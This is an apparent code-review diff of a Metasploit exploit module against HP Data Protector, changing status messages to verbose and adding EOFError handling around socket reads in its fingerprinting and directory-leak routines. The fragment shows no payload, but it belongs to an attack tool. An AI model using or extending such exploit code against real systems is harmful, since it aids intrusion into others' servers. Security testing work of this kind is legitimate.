@@ -83,9 +83,9 @@ def check
83
83
84
84
if fingerprint =~ /Data Protector A\. (\d +\. \d +)/
85
85
version = $1
86
- print_status ( "#{ peer } - Windows / HP Data Protector version #{ version } found" )
86
+ vprint_status ( "#{ peer } - Windows / HP Data Protector version #{ version } found" )
87
87
elsif fingerprint =~ / INET/
88
- print_status ( "#{ peer } - Linux / HP Data Protector found" )
88
+ vprint_status ( "#{ peer } - Linux / HP Data Protector found" )
89
89
return Exploit ::CheckCode ::Detected
90
90
else
91
91
return Exploit ::CheckCode ::Safe
@@ -151,7 +151,12 @@ def get_fingerprint_linux
151
151
connect
152
152
153
153
sock . put ( [ 2 ] . pack ( "N" ) + "\xff \xfe " )
154
- res = sock . get_once ( 4 )
154
+ begin
155
+ res = sock . get_once ( 4 )
156
+ rescue EOFError
157
+ disconnect
158
+ return nil
159
+ end
155
160
156
161
if res . nil?
157
162
disconnect
@@ -160,8 +165,13 @@ def get_fingerprint_linux
160
165
length = res . unpack ( "N" ) [ 0 ]
161
166
end
162
167
163
- res = sock . get_once ( length )
164
- disconnect
168
+ begin
169
+ res = sock . get_once ( length )
170
+ rescue EOFError
171
+ return nil
172
+ ensure
173
+ disconnect
174
+ end
165
175
166
176
if res . nil?
167
177
return nil
@@ -176,7 +186,7 @@ def get_fingerprint_windows
176
186
sock . put ( rand_text_alpha_upper ( 64 ) )
177
187
begin
178
188
res = sock . get_once ( 4 )
179
- rescue ::Errno ::ECONNRESET
189
+ rescue ::Errno ::ECONNRESET , EOFError
180
190
disconnect
181
191
return nil
182
192
end
@@ -188,8 +198,13 @@ def get_fingerprint_windows
188
198
length = res . unpack ( "N" ) [ 0 ]
189
199
end
190
200
191
- res = sock . get_once ( length )
192
- disconnect
201
+ begin
202
+ res = sock . get_once ( length )
203
+ rescue EOFError
204
+ return nil
205
+ ensure
206
+ disconnect
207
+ end
193
208
194
209
if res . nil?
195
210
return nil
@@ -212,7 +227,12 @@ def leak_hp_directory(rand_exec)
212
227
] )
213
228
214
229
sock . put ( pkt )
215
- res = sock . get_once ( 4 )
230
+ begin
231
+ res = sock . get_once ( 4 )
232
+ rescue EOFError
233
+ disconnect
234
+ return nil
235
+ end
216
236
217
237
if res . nil?
218
238
disconnect
@@ -221,8 +241,13 @@ def leak_hp_directory(rand_exec)
221
241
length = res . unpack ( "N" ) [ 0 ]
222
242
end
223
243
244
+ begin
224
245
res = sock . get_once ( length )
225
- disconnect
246
+ rescue EOFError
247
+ return nil
248
+ ensure
249
+ disconnect
250
+ end
226
251
227
252
if res . nil?
228
253
return nil
0 commit comments